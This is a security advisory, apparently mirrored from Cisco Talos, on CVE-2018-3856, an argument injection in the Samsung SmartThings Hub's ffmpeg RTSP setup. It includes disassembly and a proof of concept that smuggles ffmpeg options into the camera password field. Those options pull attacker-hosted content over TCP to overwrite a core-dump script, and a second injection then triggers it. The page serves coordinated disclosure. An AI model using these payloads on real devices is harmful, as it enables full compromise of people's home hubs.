Lucene search

K
seebugMy SeebugSSV:97440
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub video-core RTSP Configuration Command Injection Vulnerability(CVE-2018-3856)

2018-07-3000:00:00
My Seebug
www.seebug.org
570

0.002 Low

EPSS

Percentile

56.2%

Summary

An exploitable vulnerability exists in the smart cameras RTSP
configuration of the Samsung SmartThings Hub. The device incorrectly
handles spaces in the URL field, leading to an arbitrary operating
system command injection. An attacker can send a series of HTTP requests
to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-88: Argument Injection or Modification

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home such as wall switches, LED bulbs, thermostats and cameras. One of
those is the Samsung SmartThings Hub, a central controller which allows
an end user to use his or her smartphone to connect to his or her own
house remotely and manage any other device through it. The hub board
utilizes several systems on chips. The firmware in question is executed
by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allow for a secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The livestream configuration can be changed from the smartphone
application. When a user changes the smart camera’s password, the
following request is sent to api.smartthings.com via HTTPS:

PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1
X-ST-Api-Version: 3.2
X-ST-Client-AppVersion: 2.14.0
Authorization: Bearer <auth-token>
Accept: application/json
Content-Type: application/json; charset=UTF-8
Host: api.smartthings.com
User-Agent: okhttp/3.6.0
...

{"completedSetup":true,"label":"SNH-V6414BN","preferences":[{"name":"wlanMode","value":"PSK"},{"name":"cameraBrightness","value":"Med"},{"name":"wlanPassword","value":""},{"name":"cameraTimeZone","value":"4"},{"name":"cameraPassword","value":"<camera-password>"},{"name":"cameraOverlay","value":"Off"},{"name":"cameraDayNightMode","value":"Auto"},{"name":"cameraImage","value":"No Flip - No Mirror"},{"name":"wlanSite","value":""},{"name":"cameraWDR","value":"WDR"},{"name":"cameraAudio","value":"Low/Med"}]}

Note that the request above actually sets all the smart camera’s
preferences in one shot. Notable parameters are:

location-id: canonical UUID which identifies a hub in a specific location
device-id: canonical UUID of a device (e.g. smart camera UUID)
auth-token: OAuth 2.0 Bearer Token (canonical UUID), provided by auth-global.api.smartthings.com
camera-password: the new password for connecting to the camera via RTSP

In order to apply the new configuration to the hub, SmartThings servers
send a series of messages to the device, which are received by the
hubCore process. Specifically, when the cameraPassword value is
changed, hubCore will receive the following message:

PATCH /cameras/<device-id> HTTP/1.1
Accept: */*
User-Agent: Linux UPnP/1.0 SmartThings
Content-Type: application/json
Connection: Close
Host: 127.0.0.1:3000
Content-Length: 83

{"url":"rtsp://admin:<camera-password>@<camera-ip>:554/profile4/media.smp","state":"on"}

Note that the new parameter camera-ip was previously set on the
initial camera setup phase.

This message will be relayed without any modification to the HTTP server
running inside the video-core process. The message notifies the
video-core process for updating the URL needed to establish the RTSP
connection. The HTTP server listens on port 3000, bound to the localhost
address, so a local connection is needed to perform this request.

Upon receiving the request above, video-core will save the new camera
URL in its internal database. Shortly after, the thread vidWatcher of
the video-core process will re-execute the ffmpeg command using the
new URL. ffmpeg options are collected by function sub_1D240:

.text:0001D240     sub_1D240
...
.text:0001D3B0 898        MOV             R1, R0
.text:0001D3B4 898        MOV             R0, R7               ; [1]
.text:0001D3B8 898        BL              sub_395DC            ; [2] add -stimeout
.text:0001D3BC 898        CMP             R0, #0
.text:0001D3C0 898        BLT             loc_1D7A8
.text:0001D3C4 898        MOV             R0, R7
.text:0001D3C8 898        LDR             R1, [SP,#0x898+var_430]
.text:0001D3CC 898        BL              sub_39674            ; [3] add -t
.text:0001D3D0 898        CMP             R0, #0
.text:0001D3D4 898        BLT             loc_1D81C
.text:0001D3D8 898        MOV             R1, #0x8368
.text:0001D3DC 898        MOV             R0, R7
.text:0001D3E0 898        MOVT            R1, #0xB
.text:0001D3E4 898        BL              sub_39520            ; [4] add -rtsp_transport
.text:0001D3E8 898        CMP             R0, #0
.text:0001D3EC 898        BLT             loc_1D8A4
.text:0001D3F0 898        MOV             R1, R8               ; camera url
.text:0001D3F4 898        MOV             R0, R7
.text:0001D3F8 898        BL              sub_39818            ; [5] add -i (camera url)
...
.text:0001D4F8 898        MOV             R1, R7               ; [7]
.text:0001D4FC 898        BL              sub_1B9E8            ; [6]

The function reads a series of parameters from the internal database,
and builds a string (pointed by r7 [1]) by appending each parameter at
the end ([2], [3], [4], [5]). Note that the actual URL value is added at
[5]. The resulting string is simply a series of arguments for ffmpeg.
This is an example of such a string:

" -stimeout 2000000 -t 12:00:00 -rtsp_transport tcp -i rtsp://admin:<camera-password>@<camera-ip>:554/profile4/media.sme -strict experimental -flags +global_header -vcodec copy -acodec aac -profile:a aac_low -cutoff 3400 -ar:a 8000 -b:a 32k -hls_wrap 10 -hls_list_size 3 -hls_allow_cache 1 -hls_time 2 /var/volatile/videocore/ringbuffer/<device-id>/live.m3u8"

Finally, function sub_1B9E8 is called [6], passing the reference to
the arguments string as second parameter [7]:

.text:0001B9E8     sub_1B9E8
.text:0001B9E8
.text:0001B9E8 000        CMP             R2, #0
.text:0001B9EC 000        CMPNE           R1, #0                ; [8] ptr to ffmpeg args string
.text:0001B9F0 000        STMFD           SP!, {R4-R9,LR}
.text:0001B9F4 01C        SUB             SP, SP, #0x480
.text:0001B9F8 49C        SUB             SP, SP, #0xC
.text:0001B9FC 4A8        BNE             loc_1BA24
...
.text:0001BA24     loc_1BA24
.text:0001BA24 4A8        MOV             R8, R0
.text:0001BA28 4A8        LDR             R0, [R1]
.text:0001BA2C 4A8        CMP             R0, #0
.text:0001BA30 4A8        BEQ             loc_1BC00
.text:0001BA34 4A8        MOV             R6, R3
.text:0001BA38 4A8        MOV             R1, #0xB3C8
.text:0001BA3C 4A8        MOV             R3, #0x7D4C
.text:0001BA40 4A8        MOVT            R1, #0xB              ; [9]  " " (space)
.text:0001BA44 4A8        MOVT            R3, #0xB              ; [10] "ffmpeg"
.text:0001BA48 4A8        MOV             R7, R2
.text:0001BA4C 4A8        STR             R3, [SP,#0x4A8+argv]  ; [11]
.text:0001BA50 4A8        BL              strtok                ; [12]
.text:0001BA54 4A8        SUBS            R12, R0, #0
.text:0001BA58 4A8        BEQ             loc_1BBF8
.text:0001BA5C 4A8        ADD             R5, SP, #0x4A8+argv
.text:0001BA60 4A8        MOV             R4, #1
.text:0001BA64 4A8        B               loc_1BA70
.text:0001BA68
.text:0001BA68     loc_1BA68                                    ; [13] tokenization loop
.text:0001BA68 4A8        CMP             R4, #0x64
.text:0001BA6C 4A8        BEQ             loc_1BBF0
.text:0001BA70
.text:0001BA70     loc_1BA70
.text:0001BA70 4A8        MOV             R1, #0xB3C8
.text:0001BA74 4A8        STR             R12, [R5,#4]!
.text:0001BA78 4A8        MOV             R0, #0
.text:0001BA7C 4A8        MOVT            R1, #0xB
.text:0001BA80 4A8        BL              strtok                ; [12]
.text:0001BA84 4A8        SUBS            R12, R0, #0
.text:0001BA88 4A8        ADD             R4, R4, #1
.text:0001BA8C 4A8        BNE             loc_1BA68             ; [13] tokenization loop
.text:0001BA90 4A8        MOV             R4, R4,LSL#2
.text:0001BA94
.text:0001BA94     loc_1BA94
.text:0001BA94 4A8        ADD             R3, SP, #0x4A8+var_28
.text:0001BA98 4A8        ADD             R0, SP, #0x4A8+pipedes
.text:0001BA9C 4A8        ADD             R3, R3, #8
.text:0001BAA0 4A8        ADD             R4, R3, R4
.text:0001BAA4 4A8        MOV             R3, #0
.text:0001BAA8 4A8        STR             R3, [R4,#-0x370]
.text:0001BAAC 4A8        BL              pipe
.text:0001BAB0 4A8        CMP             R0, #0
.text:0001BAB4 4A8        BEQ             loc_1BB78
...
.text:0001BB78     loc_1BB78
.text:0001BB78 4A8        ADD             R0, SP, #0x4A8+var_498
.text:0001BB7C 4A8        BL              pipe
.text:0001BB80 4A8        SUBS            R4, R0, #0
.text:0001BB84 4A8        BEQ             loc_1BC5C
...
.text:0001BBF0     loc_1BBF0
.text:0001BBF0 4A8        MOV             R4, #0x190
.text:0001BBF4 4A8        B               loc_1BA94
...
.text:0001BC5C     loc_1BC5C
...
.text:0001BCA0 4A8        BL              fork
.text:0001BCA4 4A8        SUBS            R5, R0, #0
.text:0001BCA8 4A8        BEQ             loc_1BE2C
...
.text:0001BE2C     loc_1BE2C
...
.text:0001BEA8 4A8        MOV             R1, #0x7E4C
.text:0001BEAC 4A8        LDR             R0, [R8,#4]
.text:0001BEB0 4A8        MOVT            R1, #0xB
.text:0001BEB4 4A8        BL              sub_281B0
.text:0001BEB8 4A8        MOV             R3, #0x7D4C
.text:0001BEBC 4A8        CMP             R0, #0
.text:0001BEC0 4A8        MOVT            R3, #0xB              ; "ffmpeg"
.text:0001BEC4 4A8        ADD             R1, SP, #0x4A8+argv
.text:0001BEC8 4A8        MOVEQ           R0, R3
.text:0001BECC 4A8        BL              execvp                ; [14]

We can see that the arguments, passed as second parameter [8], are split
on every space character [9] using the strtok function [12] in a loop
[13]. Every token is saved into the argv array [11], whose first
element was set to ffmpeg [10]. The resulting array is then passed as
the argv parameter of the execvp call [14].

Since the space character inside the camera-password is never modified
throughout the whole processing, and the arguments splitting is
performed by simply looking for space characters, an attacker that
controls the camera-password can add new options to the invocation of
the ffmpeg binary.

This can be exploited to execute arbitrary shell commands, resulting in
a complete compromise of the device. We identified three different
vectors that allow for exploiting this vulnerability:

  • As it was shown above, anyone owning a valid OAuth bearer token, or
    the relative username and password pair to obtain it, can modify the
    configuration of a camera by sending a request to
    api.smartthings.com. The request can contain an arbitrary password
    that would be relayed to the vulnerable video-core process.
  • Anyone able to impersonate the remote SmartThings servers can send
    arbitrary HTTP requests to hubCore, that would be relayed without
    modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that
    can be either published directly into the device itself or on the
    public Marketplace. A SmartApp is executed inside the hubCore
    process and is allowed to make any localhost connection. It is thus
    possible for a SmartApp to send arbitrary HTTP requests directly to
    the vulnerable video-core process.

Exploit Proof of Concept

The following proof of concept shows how to execute an arbitrary command
inside the device, by using the api.smartthings.com vector.

It’s assumed that an attacker already owns a valid OAuth bearer token. A
camera also needs to be set up on the hub. A fake camera could be added
by an attacker, but for simplicity, we assume that we already have a
configured camera available.

Exploitation relies on the ability of ffmpeg to pipe any raw data from
a plain TCP connection into a file. This is possible thanks to the
data file format and the copy codec, since when used together, they
omit any encoding or decoding of the raw stream. For example, to write
the string talos into /tmp/test in machineB, one could execute:

machineA -- $ echo talos | nc -l -p 3333
machineB -- $ ffmpeg -f data -i tcp://@<machineA>:3333 -map 0 -codec copy -y -f data /tmp/test

Moreover, ffmpeg supports multiple inputs and outputs on a unique
invocation, which allows for injecting this kind of command anywhere in
the arguments list.

However, since the majority of the system partitions are mounted
read-only, executing arbitrary commands becomes slightly more tricky,
and we show how it can be done by overwriting two files:

# cat /proc/sys/kernel/core_pattern
|/tmp/compressdump.sh /hub/data/coredump/%e.core.gz .*
# realpath /tmp
/var/volatile/tmp
# mount | grep /var/volatile
tmpfs on /var/volatile type tmpfs (rw,relatime,size=102400k)

We can see that the /tmp directory can be written to, and it also
contains the script /tmp/compressdump.sh, which is called when a core
dump is generated. To generate a core dump, it’s enough to write any
invalid string in /tmp/ledstate. This is a pipe read by the ledd
process, which crashes as soon as an unexpected string is found in the
pipe.

So to execute an arbitrary command, it’s enough to:

1. Overwrite `/tmp/compressdump.sh`

-- attacker machine -> api.smartthings.com
PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1
...
{   ...
    {"name":"cameraPassword","value":"admin@<camera-ip>:554/profile4/media.smp -timeout 1 -f data -i tcp://@<attacker-ip>:<attacker-port> -map 1 -codec copy -y -f data /tmp/compressdump.sh -metadata title=\""},
    ...
}

-- attacker sends the contents that will overwrite compressdump.sh
echo 'ping -c1 <attacker-ip>' | nc -l -p <attacker-port>


2. Trigger a core dump, so that `/tmp/compressdump.sh` is called:

-- attacker machine -> api.smartthings.com
PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1
...
{   ...
    {"name":"cameraPassword","value":"admin@<camera-ip>:554/profile4/media.smp -timeout 1 -f data -i tcp://@<attacker-ip>:<attacker-port> -map 1 -codec copy -y -f data /tmp/ledstate -metadata title=\""},
    ...
}

-- attacker sends the string "talos" that will crash the "ledd" process
echo talos | nc -l -p <attacker-port>

Note that the metadata parameter is used to discard the rest of the
URL where the password was injected. Otherwise, ffmpeg would fail
because an unknown option would be specified.

Timeline

  • 2018-03-23 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.002 Low

EPSS

Percentile

56.2%